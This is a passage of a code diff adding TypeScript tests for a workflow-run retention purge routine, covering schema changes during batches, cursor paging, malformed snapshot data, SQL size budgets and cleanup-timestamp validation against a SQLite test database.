retentionSnapshot(sqlite, 'run'); + createSnapshotTable(sqlite, 'sibling_'); + let count = 0; + const intercepted = retentionIntercept(db, { + beforeBatch: () => { + if (count++ > 0) return; + if (kind === 'create') createSnapshotTable(sqlite, 'new_'); + if (kind === 'rename') + sqlite.exec( + 'ALTER TABLE sibling_mastra_workflow_snapshot RENAME TO renamed_mastra_workflow_snapshot', + ); + if (kind === 'drop') sqlite.exec('DROP TABLE mastra_workflow_snapshot'); + }, + }); + expect(await purgeExpiredWorkflowRuns(intercepted, cycle.options())).toBe( + kind === 'drop' ? 0 : 1, + ); + expect(count).toBe(2); + expect(cycle.cursor?.snapshots).toBeUndefined(); + }); + + it('uses one invocation-wide schema retry and retains the phase cursor on second churn', async () => { + const { sqlite, db, cycle } = retentionWorld(); + retentionSnapshot(sqlite, 'run'); + const deleteRun = vi.fn(async () => 0); + let changes = 0; + const intercepted = retentionIntercept(db, { + beforeBatch: () => createSnapshotTable(sqlite, `changed${changes++}_`), + }); + await expect( + purgeExpiredWorkflowRuns(intercepted, { + ...cycle.options(), + artifactStore: { deleteRun }, + }), + ).rejects.toThrow(/repeatedly/); + expect(changes).toBe(2); + expect(deleteRun).toHaveBeenCalledTimes(1); + expect(cycle.advances).toEqual([]); + expect(remainingRunIds(sqlite)).toEqual(['run']); + }); + + it('rereads pending legacy keys through a schema upgrade and preserves changed keys', async () => { + const { sqlite, db, cycle } = retentionWorld(); + for (const key of ['unchanged', 'changed']) + retentionReservation(sqlite, key, { + start_token: null, + start_table_prefix: null, + start_workflow_id: null, + }); + for (const column of [ + 'start_workflow_id', + 'start_table_prefix', + 'start_token', + ]) + sqlite.exec( + `ALTER TABLE ${START_IDEMPOTENCY_TABLE} DROP COLUMN ${column}`, + ); + let batches = 0; + const intercepted = retentionIntercept(db, { + beforeBatch: () => { + if (batches++ > 0) return; + for (const column of [ + 'start_token', + 'start_table_prefix', + 'start_workflow_id', + ]) + sqlite.exec( + `ALTER TABLE ${START_IDEMPOTENCY_TABLE} ADD COLUMN ${column} TEXT`, + ); + sqlite.exec( + `UPDATE ${START_IDEMPOTENCY_TABLE} SET updated_at=updated_at+1 WHERE key='changed'`, + ); + }, + }); + await purgeExpiredWorkflowRuns(intercepted, cycle.options()); + expect(reservationRows(sqlite).map((row) => row.key)).toEqual(['changed']); + }); + + it('does not reinterpret a bound orphan as legacy after schema downgrade', async () => { + const { sqlite, db, cycle } = retentionWorld(); + retentionReservation(sqlite, 'key'); + let batches = 0; + const intercepted = retentionIntercept(db, { + beforeBatch: () => { + if (batches++ > 0) return; + for (const column of [ + 'start_workflow_id', + 'start_table_prefix', + 'start_token', + ]) + sqlite.exec( + `ALTER TABLE ${START_IDEMPOTENCY_TABLE} DROP COLUMN ${column}`, + ); + }, + }); + await expect( + purgeExpiredWorkflowRuns(intercepted, cycle.options()), + ).rejects.toThrow(/no such column/); + expect(reservationRows(sqlite)).toHaveLength(1); + expect(cycle.advances).toHaveLength(1); + }); + + it('reclassifies a mixed pending orphan group after namespace appearance', async () => { + const { sqlite, db, cycle } = retentionWorld(); + retentionReservation(sqlite, 'absent', { + run_id: 'absent', + start_table_prefix: 'late_', + }); + retentionReservation(sqlite, 'different', { + run_id: 'different', + start_table_prefix: 'late_', + }); + retentionReservation(sqlite, 'same', { + run_id: 'same', + start_table_prefix: 'late_', + }); + let batches = 0; + const intercepted = retentionIntercept(db, { + beforeBatch: () => { + if (batches++ > 0) return; + createSnapshotTable(sqlite, 'late_'); + retentionSnapshot(sqlite, 'different', { + prefix: 'late_', + token: 'S2', + status: 'suspended', + }); + retentionSnapshot(sqlite, 'same', { + prefix: 'late_', + status: 'suspended', + }); + }, + }); + await purgeExpiredWorkflowRuns(intercepted, cycle.options()); + expect(reservationRows(sqlite).map((row) => row.key)).toEqual(['same']); + }); + + it('advances past more than a page of malformed and oversized capsules', async () => { + const { sqlite, db } = retentionWorld(); + const cycle = retentionCycle({ limit: 90 }); + for (let i = 0; i < 95; i++) + retentionSnapshot(sqlite, `poison-${i}`, { + provenance: + i % 2 + ? { version: true } + : { + version: 2, + startToken: 'S1', + startIdentity: { padding: 'x'.repeat(4096) }, + }, + }); + retentionSnapshot(sqlite, 'eligible'); + expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(0); + expect(cycle.cursor?.snapshots).toEqual({ + afterRowId: 90, + highWaterRowId: 96, + }); + expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(1); + expect(remainingRunIds(sqlite)).not.toContain('eligible'); + expect(cycle.cursor?.snapshots).toBeUndefined(); + }); + + it('bounds artifact failure diagnostics and reaches later rows with persisted progress', async () => { + const { sqlite, db } = retentionWorld(); + for (let i = 0; i < 92; i++) retentionSnapshot(sqlite, `bad-${i}`); + retentionSnapshot(sqlite, 'eligible'); + const cycle = retentionCycle({ + artifactStore: { + deleteRun: async (_wf, run) => { + if (run.startsWith('bad')) throw Object.create(null); + return 0; + }, + }, + }); + await expect(purgeExpiredWorkflowRuns(db, cycle.options())).rejects.toThrow( + /artifact deletion failed/, + ); + expect(cycle.cursor?.snapshots).toEqual({ + afterRowId: 90, + highWaterRowId: 93, + }); + await expect(purgeExpiredWorkflowRuns(db, cycle.options())).rejects.toThrow( + /artifact deletion failed/, + ); + expect(remainingRunIds(sqlite)).not.toContain('eligible'); + expect(remainingRunIds(sqlite)).toHaveLength(92); + expect(cycle.cursor?.snapshots).toBeUndefined(); + }); + + it('reports bounded diagnostics for unsupported snapshot and reservation pages', async () => { + const { sqlite, db } = retentionWorld(); + const cycle = retentionCycle(); + const diagnostics = vi.spyOn(console, 'warn').mockImplementation(() => {}); + try { + for (let index = 0; index < 95; index++) { + retentionSnapshot(sqlite, `bad-snapshot-${index}`, { + provenance: { version: true }, + }); + retentionReservation(sqlite, `bad-reservation-${index}`, { + start_token: null, + start_table_prefix: null, + start_workflow_id: null, + target_id: 'x'.repeat(5000), + }); + } + retentionSnapshot(sqlite, 'eligible'); + retentionReservation(sqlite, 'eligible'); + expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(0); + expect(diagnostics).toHaveBeenCalledTimes(2); + expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(1); + expect(diagnostics).toHaveBeenCalledTimes(4); + expect(diagnostics.mock.calls.map(([line]) => JSON.parse(line))).toEqual([ + { type: 'run-retention-skip', kind: 'snapshot', tablePrefix: '' }, + { type: 'run-retention-skip', kind: 'reservation', tablePrefix: '' }, + { type: 'run-retention-skip', kind: 'snapshot', tablePrefix: '' }, + { type: 'run-retention-skip', kind: 'reservation', tablePrefix: '' }, + ]); + expect( + diagnostics.mock.calls.every( + ([line]) => typeof line === 'string' && line.length < 256, + ), + ).toBe(true); + expect(remainingRunIds(sqlite)).not.toContain('eligible'); + expect(reservationRows(sqlite).map((row) => row.key)).not.toContain( + 'eligible', + ); + } finally { + diagnostics.mockRestore(); + } + }); + + it('uses negative rowids and a fixed high water despite continuous inserts', async () => { + const { sqlite, db } = retentionWorld(); + for (const [index, rid] of [-5, -3, -1].entries()) { + retentionSnapshot(sqlite, `initial-${index}`, { status: 'suspended' }); + sqlite + .prepare('UPDATE mastra_workflow_snapshot SET rowid=? WHERE run_id=?') + .run(rid, `initial-${index}`); + } + const cycle = retentionCycle({ limit: 1 }); + await purgeExpiredWorkflowRuns(db, cycle.options()); + expect(cycle.cursor?.snapshots).toEqual({ + afterRowId: -5, + highWaterRowId: -1, + }); + retentionSnapshot(sqlite, 'new-one'); + await purgeExpiredWorkflowRuns(db, cycle.options()); + expect(cycle.cursor?.snapshots).toEqual({ + afterRowId: -3, + highWaterRowId: -1, + }); + retentionSnapshot(sqlite, 'new-two'); + await purgeExpiredWorkflowRuns(db, cycle.options()); + expect(cycle.cursor?.snapshots).toBeUndefined(); + expect(remainingRunIds(sqlite)).toContain('new-one'); + }); + + it('advances independent reservation positions past malformed rows and oversized legacy keys', async () => { + const { sqlite, db } = retentionWorld(); + for (let i = 0; i < 92; i++) + retentionReservation(sqlite, `bad-${i}`, { + start_token: null, + start_table_prefix: null, + start_workflow_id: null, + target_id: 'x'.repeat(5000), + }); + retentionReservation(sqlite, 'eligible'); + const cycle = retentionCycle(); + await purgeExpiredWorkflowRuns(db, cycle.options()); + expect(cycle.cursor?.reservations).toEqual({ + afterRowId: 90, + highWaterRowId: 93, + }); + await purgeExpiredWorkflowRuns(db, cycle.options()); + expect(cycle.cursor?.reservations).toBeUndefined(); + expect(reservationRows(sqlite).map((row) => row.key)).not.toContain( + 'eligible', + ); + expect(reservationRows(sqlite)).toHaveLength(92); + }); + + it.each([ + 'lost', + 'short', + 'sparse', + 'failure', + 'missing-meta', + 'negative', + 'fractional', + 'string-count', + 'schema-missing', + 'schema-count', + 'schema-false-with-changes', + ])('does not checkpoint an uncertain batch result: %s', async (failure) => { + const { sqlite, db, cycle } = retentionWorld(); + retentionSnapshot(sqlite, 'run'); + const intercepted = retentionIntercept(db, { + afterBatch: (results) => { + if (failure === 'lost') throw new Error('response lost'); + if (failure === 'short') return results.slice(1); + if (failure === 'sparse') { + delete results[1]; + return results; + } + if (failure === 'failure') + results[1] = { success: false, meta: { changes: 1 } }; + if (failure === 'missing-meta') results[1] = {}; + if (failure === 'negative') results[1] = { meta: { changes: -1 } }; + if (failure === 'fractional') results[1] = { meta: { changes: 0.5 } }; + if (failure === 'string-count') results[1] = { meta: { changes: '1' } }; + if (failure === 'schema-missing') results[0] = { results: [] }; + if (failure === 'schema-count') + results[0] = { results: [{ schema_ok: true }] }; + if (failure === 'schema-false-with-changes') + results[0] = { results: [{ schema_ok: 0 }] }; + return results; + }, + }); + await expect( + purgeExpiredWorkflowRuns(intercepted, cycle.options()), + ).rejects.toThrow(); + expect(cycle.advances).toEqual([]); + expect(remainingRunIds(sqlite)).toEqual([]); + expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(0); + }); + + it('stops before orphan work when snapshot cursor persistence fails after commit', async () => { + const { sqlite, db, cycle } = retentionWorld(); + retentionSnapshot(sqlite, 'run'); + retentionReservation(sqlite, 'orphan', { run_id: 'gone' }); + const advanceCursor = vi.fn(async () => { + throw new Error('cursor storage failed'); + }); + await expect( + purgeExpiredWorkflowRuns(db, { ...cycle.options(), advanceCursor }), + ).rejects.toThrow('cursor storage failed'); + expect(advanceCursor).toHaveBeenCalledTimes(1); + expect(remainingRunIds(sqlite)).toEqual([]); + expect(reservationRows(sqlite)).toHaveLength(1); + expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(0); + expect(reservationRows(sqlite)).toEqual([]); + }); + + it('rolls back snapshot, owner and key when a later paired mutation fails', async () => { + const { sqlite, db, cycle } = retentionWorld(); + const resources = new D1ResourceOwnershipStore(db as never); + await resources.claim('run', 'run', { + kind: 'human', + id: 'resource-owner', + }); + retentionSnapshot(sqlite, 'run'); + retentionReservation(sqlite, 'key', { state: 'started' }); + sqlite.exec( + `CREATE TRIGGER reject_retention_key BEFORE UPDATE ON ${START_IDEMPOTENCY_TABLE} BEGIN SELECT RAISE(ABORT,'key failure'); END`, + ); + await expect( + purgeExpiredWorkflowRuns(db, { + ...cycle.options(), + resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE, + }), + ).rejects.toThrow('key failure'); + expect(remainingRunIds(sqlite)).toEqual(['run']); + expect(await resources.owner('run', 'run')).toEqual({ + kind: 'human', + id: 'resource-owner', + }); + expect(reservationRows(sqlite)[0]?.state).toBe('started'); + expect(cycle.advances).toEqual([]); + }); +}); + +describe('run retention SQL boundaries', () => { + it('preserves case-sensitive identity and state under NOCASE column declarations', async () => { + const sqlite = openSqlite(); + sqlite.exec(`CREATE TABLE mastra_workflow_snapshot (workflow_name TEXT COLLATE NOCASE NOT NULL, run_id TEXT COLLATE NOCASE NOT NULL, + resourceId TEXT COLLATE NOCASE, snapshot TEXT COLLATE NOCASE NOT NULL, createdAt TEXT NOT NULL, updatedAt TEXT NOT NULL, UNIQUE(workflow_name,run_id))`); + sqlite.exec( + START_IDEMPOTENCY_DDL.replaceAll('TEXT', 'TEXT COLLATE NOCASE'), + ); + retentionSnapshot(sqlite, 'run'); + retentionReservation(sqlite, 'matching', { state: 'started' }); + retentionReservation(sqlite, 'token-case', { + state: 'started', + start_token: 's1', + }); + retentionReservation(sqlite, 'owner-case', { + state: 'started', + owner_id: 'INITIATOR', + }); + retentionReservation(sqlite, 'state-case', { state: 'STARTED' }); + const db = retentionDb(sqlite); + const cycle = retentionCycle(); + expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(1); + expect(reservationRows(sqlite)).toEqual( + expect.arrayContaining([ + expect.objectContaining({ key: 'matching', state: 'terminal' }), + expect.objectContaining({ key: 'token-case', state: 'started' }), + expect.objectContaining({ key: 'owner-case', state: 'started' }), + expect.objectContaining({ key: 'state-case', state: 'STARTED' }), + ]), + ); + }); + + it('does not delete a case-changed physical address or raw legacy value', async () => { + const { sqlite, db, cycle } = retentionWorld(); + retentionSnapshot(sqlite, 'run'); + const intercepted = retentionIntercept(db, { + beforeBatch: () => + sqlite.exec("UPDATE mastra_workflow_snapshot SET workflow_name='WF'"), + }); + expect(await purgeExpiredWorkflowRuns(intercepted, cycle.options())).toBe( + 0, + ); + expect(remainingRunIds(sqlite)).toEqual(['run']); + }); + + it('requires finite numeric terminal-key expiry and accepts negative fractional epochs', async () => { + const { sqlite, db, cycle } = retentionWorld(); + retentionSnapshot(sqlite, 'run'); + for (const key of [ + 'negative-infinity', + 'positive-infinity', + 'text', + 'fractional', + 'at-cutoff', + ]) + retentionReservation(sqlite, key); + sqlite.exec(`UPDATE ${START_IDEMPOTENCY_TABLE} SET updated_at=-9e999 WHERE key='negative-infinity'; + UPDATE ${START_IDEMPOTENCY_TABLE} SET updated_at=9e999 WHERE key='positive-infinity'; + UPDATE ${START_IDEMPOTENCY_TABLE} SET updated_at='garbage' WHERE key='text'; + UPDATE ${START_IDEMPOTENCY_TABLE} SET created_at=-2.5,updated_at=-1.5 WHERE key='fractional'`); + sqlite + .prepare( + `UPDATE ${START_IDEMPOTENCY_TABLE} SET updated_at=? WHERE key='at-cutoff'`, + ) + .run(NOW - 7 * DAY_MS); + expect(await purgeExpiredWorkflowRuns(db, cycle.options())).toBe(1); + expect(reservationRows(sqlite).map((row) => row.key)).toEqual([ + 'at-cutoff', + 'negative-infinity', + 'positive-infinity', + 'text', + ]); + }); + + it('accepts registry names beyond 63 characters and rejects complete SQL overflow before artifacts', async () => { + const { sqlite, db, cycle } = retentionWorld(); + const name = `keys_${'x'.repeat(80)}`; + sqlite.exec(`ALTER TABLE ${START_IDEMPOTENCY_TABLE} RENAME TO ${name}`); + retentionSnapshot(sqlite, 'run'); + expect( + await purgeExpiredWorkflowRuns(db, { + ...cycle.options(), + startIdempotencyTable: name, + }), + ).toBe(1); + retentionSnapshot(sqlite, 'second'); + const deleteRun = vi.fn(async () => 0); + await expect( + purgeExpiredWorkflowRuns(db, { + ...cycle.options(), + startIdempotencyTable: undefined, + cursor: undefined, + resourceOwnerTable: 'x'.repeat(89_000), + artifactStore: { deleteRun }, + }), + ).rejects.toThrow(/budget/); + expect(deleteRun).not.toHaveBeenCalled(); + expect(remainingRunIds(sqlite)).toEqual(['second']); + }); + + it('measures complete modern maximum-form statements and selectors over 64 namespaces', async () => { + const { sqlite, db, cycle } = retentionWorld(); + await createResourceOwnershipSchema(db as never); + for (let i = 0; i < 63; i++) createSnapshotTable(sqlite, `namespace${i}_`); + const largeIdentity = { + owner: { kind: 'human', id: 'a'.repeat(200) }, + target: { kind: 'agent', id: 'a'.repeat(200), threadId: 't'.repeat(200) }, + padding: '\\"'.repeat(650), + }; + for (let i = 0; i < 90; i++) { + retentionSnapshot(sqlite, `run-${i}`, { + workflowId: 'w'.repeat(200), + provenance: { + version: 2, + startToken: 's'.repeat(200), + startIdentity: largeIdentity, + agentStart: { threaded: true }, + }, + padding: 'x'.repeat(20_000), + }); + } + const metrics = { + statements: 0, + maxSqlBytes: 0, + maxBindings: 0, + maxSelectorBytes: 0, + }; + const intercepted = retentionIntercept(db, { + statement: (sql, values) => { + metrics.statements++; + metrics.maxSqlBytes = Math.max( + metrics.maxSqlBytes, + new TextEncoder().encode(sql).length, + ); + metrics.maxBindings = Math.max(metrics.maxBindings, values.length); + for (const value of values) + if (typeof value === 'string' && value.startsWith('[')) + metrics.maxSelectorBytes = Math.max( + metrics.maxSelectorBytes, + new TextEncoder().encode(value).length, + ); + expect(new TextEncoder().encode(sql).length).toBeLessThanOrEqual( + 90_000, + ); + expect(values.length).toBeLessThanOrEqual(100); + }, + }); + expect( + await purgeExpiredWorkflowRuns(intercepted, { + ...cycle.options(), + resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE, + limit: 1000, + }), + ).toBe(90); + expect(metrics.maxSelectorBytes).toBeGreaterThan(500_000); + expect(metrics.maxSelectorBytes).toBeLessThanOrEqual(1_000_000); + expect(metrics.maxBindings).toBe(13); + expect(metrics.statements).toBe(9); + console.info('RETENTION_MODERN_MAX', JSON.stringify(metrics)); + }); + + it('measures a complete legacy page and cross-namespace orphan observations', async () => { + const { sqlite, db, cycle } = retentionWorld(); + await createResourceOwnershipSchema(db as never); + for (let i = 0; i < 63; i++) createSnapshotTable(sqlite, `n${i}_`); + for (let i = 0; i < 90; i++) { + seedRun(sqlite, { + runId: `legacy-${i}`, + status: 'success', + updatedAt: NOW - 8 * DAY_MS, + }); + } + for (let i = 0; i < 90; i++) { + const namespace = i % 64; + const prefix = namespace === 0 ? '' : `n${namespace - 1}_`; + retentionReservation(sqlite, `orphan-${i}`, { + run_id: `current-${i}`, + start_table_prefix: prefix, + }); + if (i < 64) + retentionSnapshot(sqlite, `current-${i}`, { + prefix, + token: 'S2', + status: 'suspended', + }); + } + const metrics = { + statements: 0, + maxSqlBytes: 0, + maxBindings: 0, + legacyReads: 0, + }; + const intercepted = retentionIntercept(db, { + statement: (sql, values) => { + metrics.statements++; + metrics.maxSqlBytes = Math.max( + metrics.maxSqlBytes, + new TextEncoder().encode(sql).length, + ); + metrics.maxBindings = Math.max(metrics.maxBindings, values.length); + if ( + sql.startsWith('SELECT workflow_name, run_id, resourceId, snapshot') + ) + metrics.legacyReads++; + expect(values.length).toBeLessThanOrEqual(100); + expect(new TextEncoder().encode(sql).length).toBeLessThanOrEqual( + 90_000, + ); + }, + }); + expect( + await purgeExpiredWorkflowRuns(intercepted, { + ...cycle.options(), + resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE, + }), + ).toBe(90); + expect(reservationRows(sqlite)).toEqual([]); + expect(metrics.legacyReads).toBe(90); + expect(metrics.maxBindings).toBe(18); + expect(metrics.statements).toBe(608); + console.info('RETENTION_LEGACY_ORPHAN_MAX', JSON.stringify(metrics)); + }); +}); + +describe('run retention cleanup timestamp contract', () => { + const markers = [ + ['null', false], + ['false', false], + ['true', false], + ['"done"', false], + ['{}', false], + ['[]', false], + ['-1', false], + ['0.5', false], + ['9007199254740992', false], + ['1e309', false], + ['-1e309', false], + ['0', true], + ['1.0', true], + ['1e0', true], + ['9007199254740991', true], + ] as const; + + async function cleanupFixture( + kind: 'modern' | 'legacy', + status: 'cancelled' | 'timed_out' = 'cancelled', + ) { + const world = retentionWorld(); + retentionSnapshot(world.sqlite, 'run', { status }); + retentionReservation(world.sqlite, 'key', { + state: 'started', + ...(kind === 'legacy' + ? { + start_token: null, + start_table_prefix: null, + start_workflow_id: null, + } + : {}), + }); + const resources = new D1ResourceOwnershipStore(world.db as never); + await resources.claim('run', 'run', { + kind: 'human', + id: 'resource-owner', + }); + const snapshot = currentRetentionSnapshot(world.sqlite); + const raw = JSON.stringify({ + ...snapshot, + requestContext: { + ...(kind === 'modern' ? snapshot.requestContext : {}), + 'flowsafe.runLifecycle': { + version: 1, + revision: 1, + terminal: { + status, + error: + status === 'cancelled' + ? { code: 'CANCELLED', message: 'run was cancelled' } + : { code: 'TIMED_OUT', message: 'run deadline expired' }, + transitionedAt: 0, + replayPrincipals: [{ kind: 'human', id: 'initiator' }], + cleanupCompletedAt: 0, + }, + }, + }, + }); + return { + ...world, + resources, + snapshot(marker: string) { + return raw.replace( + '"cleanupCompletedAt":0', + `"cleanupCompletedAt":${marker}`, + ); + }, + }; + } + + it.each( + markers, + )('classifies modern cleanup timestamp %s before artifacts', async (marker, complete) => { + const h = await cleanupFixture('modern'); + const raw = h.snapshot(marker); + const lifecycle = JSON.parse(raw).requestContext['flowsafe.runLifecycle']; + if (complete) + expect(parseRunLifecycle(lifecycle)?.terminal?.cleanupCompletedAt).toBe( + JSON.parse(marker), + ); + else expect(() => parseRunLifecycle(lifecycle)).toThrow(); + replaceRetentionSnapshot(h.sqlite, raw); + const deleteRun = vi.fn(async () => 0); + expect( + await purgeExpiredWorkflowRuns(h.db, { + ...h.cycle.options(), + resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE, + artifactStore: { deleteRun }, + }), + ).toBe(complete ? 1 : 0); + expect(deleteRun).toHaveBeenCalledTimes(complete ? 1 : 0); + expect(remainingRunIds(h.sqlite)).toEqual(complete ? [] : ['run']); + expect(await h.resources.owner('run', 'run')).toEqual( + complete ? undefined : { kind: 'human', id: 'resource-owner' }, + ); + expect(reservationRows(h.sqlite)).toEqual([ + expect.objectContaining({ + state: complete ? 'terminal' : 'started', + updated_at: complete ? NOW : NOW - 8 * DAY_MS, + }), + ]); + }); + + it.each( + markers, + )('revalidates legacy cleanup timestamp %s before artifacts', async (marker, complete) => { + const h = await cleanupFixture('legacy'); + replaceRetentionSnapshot(h.sqlite, h.snapshot('0')); + const deleteRun = vi.fn(async () => 0); + let rawReads = 0; + const intercepted = retentionIntercept(h.db, { + statement: (sql) => { + if ( + sql.startsWith('SELECT workflow_name, run_id, resourceId, snapshot') + ) { + rawReads++; + replaceRetentionSnapshot(h.sqlite, h.snapshot(marker)); + } + }, + }); + expect( + await purgeExpiredWorkflowRuns(intercepted, { + ...h.cycle.options(), + resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE, + artifactStore: { deleteRun }, + }), + ).toBe(complete ? 1 : 0); + expect(rawReads).toBe(1); + expect(deleteRun).toHaveBeenCalledTimes(complete ? 1 : 0); + expect(remainingRunIds(h.sqlite)).toEqual(complete ? [] : ['run']); + expect(await h.resources.owner('run', 'run')).toEqual( + complete ? undefined : { kind: 'human', id: 'resource-owner' }, + ); + expect(reservationRows(h.sqlite)).toEqual([ + expect.objectContaining({ + state: 'started', + updated_at: NOW - 8 * DAY_MS, + }), + ]); + }); + + it.each([ + ['false', false], + ['0', true], + ] as const)('classifies initial legacy cleanup timestamp %s before artifacts', async (marker, complete) => { + const h = await cleanupFixture('legacy', 'timed_out'); + replaceRetentionSnapshot(h.sqlite, h.snapshot(marker)); + const deleteRun = vi.fn(async () => 0); + expect( + await purgeExpiredWorkflowRuns(h.db, { + ...h.cycle.options(), + resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE, + artifactStore: { deleteRun }, + }), + ).toBe(complete ? 1 : 0); + expect(deleteRun).toHaveBeenCalledTimes(complete ? 1 : 0); + expect(remainingRunIds(h.sqlite)).toEqual(complete ? [] : ['run']); + expect(await h.resources.owner('run', 'run')).toEqual( + complete ? undefined : { kind: 'human', id: 'resource-owner' }, + ); + expect(reservationRows(h.sqlite)).toEqual([ + expect.objectContaining({ + state: 'started', + updated_at: NOW - 8 * DAY_MS, + }), + ]); + }); + + describe.each(['modern', 'legacy'] as const)('%s held mutation', (kind) => { + it.each([ + 'false', + '1e309', + ])('preserves a replacement with cleanup timestamp %s', async (marker) => { + const h = await cleanupFixture(kind, 'timed_out'); + replaceRetentionSnapshot(h.sqlite, h.snapshot('0')); + const deleteRun = vi.fn(async () => { + replaceRetentionSnapshot(h.sqlite, h.snapshot(marker)); + return 0; + }); + expect( + await purgeExpiredWorkflowRuns(h.db, { + ...h.cycle.options(), + resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE, + artifactStore: { deleteRun }, + }), + ).toBe(0); + expect(deleteRun).toHaveBeenCalledTimes(1); + expect(remainingRunIds(h.sqlite)).toEqual(['run']); + expect(await h.resources.owner('run', 'run')).toEqual({ + kind: 'human', + id: 'resource-owner', + }); + expect(reservationRows(h.sqlite)).toEqual([ + expect.objectContaining({ + state: 'started', + updated_at: NOW - 8 * DAY_MS, + }), + ]); + }); + }); +}); + +describe('run retention rejection and preservation controls', () => { + describe.each(['selection', 'held mutation'] as const)('%s', (boundary) => { + it.each([ + 'status', + 'escaped status', + 'requestContext', + 'flowsafe.runLifecycle', + 'terminal', + 'cleanupCompletedAt', + ])('preserves duplicate eligibility path %s', async (path) => { + const { sqlite, db, cycle } = retentionWorld(); + retentionSnapshot(sqlite, 'run', { status: 'cancelled' }); + retentionReservation(sqlite, 'key', { + state: boundary === 'selection' ? 'terminal' : 'started', + }); + const resources = new D1ResourceOwnershipStore(db as never); + await resources.claim('run', 'run', { + kind: 'human', + id: 'resource-owner', + }); + const terminal = { + status: 'cancelled', + error: { code: 'CANCELLED', message: 'run was cancelled' }, + transitionedAt: NOW - 9 * DAY_MS, + replayPrincipals: [{ kind: 'human', id: 'initiator' }], + }; + const incomplete = { version: 1, revision: 1, terminal }; + const complete = { + ...incomplete, + terminal: { ...terminal, cleanupCompletedAt: NOW - 8 * DAY_MS }, + }; + expect(parseRunLifecycle(incomplete)?.terminal).not.toHaveProperty( + 'cleanupCompletedAt', + ); + expect(parseRunLifecycle(complete)?.terminal).toHaveProperty( + 'cleanupCompletedAt', + ); + const snapshot = currentRetentionSnapshot(sqlite); + const context = { + ...snapshot.requestContext, + 'flowsafe.runLifecycle': complete, + }; + const ordinary = JSON.stringify({ ...snapshot, requestContext: context }); + const replacements: Record = { + status: [ + '"status":"cancelled"', + '"status":"cancelled","status":"running"', + ], + 'escaped status': [ + '"status":"cancelled"', + '"status":"cancelled","sta\\u0074us":"running"', + ], + requestContext: [ + `"requestContext":${JSON.stringify(context)}`, + `"requestContext":${JSON.stringify(context)},"requestContext":${JSON.stringify({ ...context, 'flowsafe.runLifecycle': incomplete })}`, + ], + 'flowsafe.runLifecycle': [ + `"flowsafe.runLifecycle":${JSON.stringify(complete)}`, + `"flowsafe.runLifecycle":${JSON.stringify(complete)},"flowsafe.runLifecycle":${JSON.stringify(incomplete)}`, + ], + terminal: [ + `"terminal":${JSON.stringify(complete.terminal)}`, + `"terminal":${JSON.stringify(complete.terminal)},"terminal":${JSON.stringify(terminal)}`, + ], + cleanupCompletedAt: [ + `"cleanupCompletedAt":${NOW - 8 * DAY_MS}`, + `"cleanupCompletedAt":${NOW - 8 * DAY_MS},"cleanupCompletedAt":null`, + ], + }; + const replacement = replacements[path]; + if (!replacement) throw new Error('missing duplicate-path fixture'); + const ambiguous = ordinary.replace(...replacement); + expect(ambiguous).not.toBe(ordinary); + const decoded = JSON.parse(ambiguous); + if (path.endsWith('status')) expect(decoded.status).toBe('running'); + else if (path === 'cleanupCompletedAt') + expect(() => + parseRunLifecycle(decoded.requestContext['flowsafe.runLifecycle']), + ).toThrow(); + else + expect( + parseRunLifecycle(decoded.requestContext['flowsafe.runLifecycle']) + ?.terminal, + ).not.toHaveProperty('cleanupCompletedAt'); + replaceRetentionSnapshot( + sqlite, + boundary === 'selection' ? ambiguous : ordinary, + ); + const deleteRun = vi.fn(async () => 0); + const intercepted = retentionIntercept(db, { + beforeBatch: () => { + if (boundary === 'held mutation') + replaceRetentionSnapshot(sqlite, ambiguous); + }, + }); + expect( + await purgeExpiredWorkflowRuns(intercepted, { + ...cycle.options(), + resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE, + artifactStore: { deleteRun }, + }), + ).toBe(0); + expect(remainingRunIds(sqlite)).toEqual(['run']); + expect(reservationRows(sqlite)).toEqual([ + expect.objectContaining({ + key: 'key', + state: boundary === 'selection' ? 'terminal' : 'started', + updated_at: NOW - 8 * DAY_MS, + }), + ]); + expect(await resources.owner('run', 'run')).toEqual({ + kind: 'human', + id: 'resource-owner', + }); + expect(deleteRun).toHaveBeenCalledTimes(boundary === 'selection' ? 0 : 1); + + replaceRetentionSnapshot(sqlite, ordinary); + expect( + await purgeExpiredWorkflowRuns(db, { + ...cycle.options(), + resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE, + }), + ).toBe(1); + expect(remainingRunIds(sqlite)).toEqual([]); + expect(await resources.owner('run', 'run')).toBeUndefined(); + expect(reservationRows(sqlite)).toEqual( + boundary === 'selection' + ? [] + : [expect.objectContaining({ state: 'terminal', updated_at: NOW })], + ); + }); + }); + + describe.each([ + 'snapshot page', + 'orphan observation', + 'absent orphan observation', + ] as const)('%s', (boundary) => { + it.each([ + 'missing', + 'numeric', + 'invalid JSON', + ])('rejects a malformed owned capsule projection: %s', async (kind) => { + const { sqlite, db, cycle } = retentionWorld(); + if (boundary !== 'absent orphan observation') + retentionSnapshot(sqlite, 'run', { + token: boundary === 'orphan observation' ? 'S2' : 'S1', + status: boundary === 'orphan observation' ? 'suspended' : 'success', + }); + retentionReservation(sqlite, 'key'); + let interceptedReads = 0; + const intercepted = retentionIntercept(db, { + read: (sql, result) => { + const target = + boundary === 'snapshot page' + ? sql.includes('WITH bounds') && sql.includes(' AS eligible') + : sql.includes('SELECT c.key AS candidate'); + if (!target) return result; + const row = (result as { results: Record[] }) + .results[0]; + if (!row) throw new Error('missing capsule projection fixture'); + interceptedReads++; + if (kind === 'missing') delete row.owned_1; + if (kind === 'numeric') row.owned_1 = 123; + if (kind === 'invalid JSON') row.owned_1 = '{'; + return result; + }, + }); + await expect( + purgeExpiredWorkflowRuns(intercepted, cycle.options()), + ).rejects.toThrow(); + expect(interceptedReads).toBe(1); + expect(remainingRunIds(sqlite)).toEqual( + boundary === 'absent orphan observation' ? [] : ['run'], + 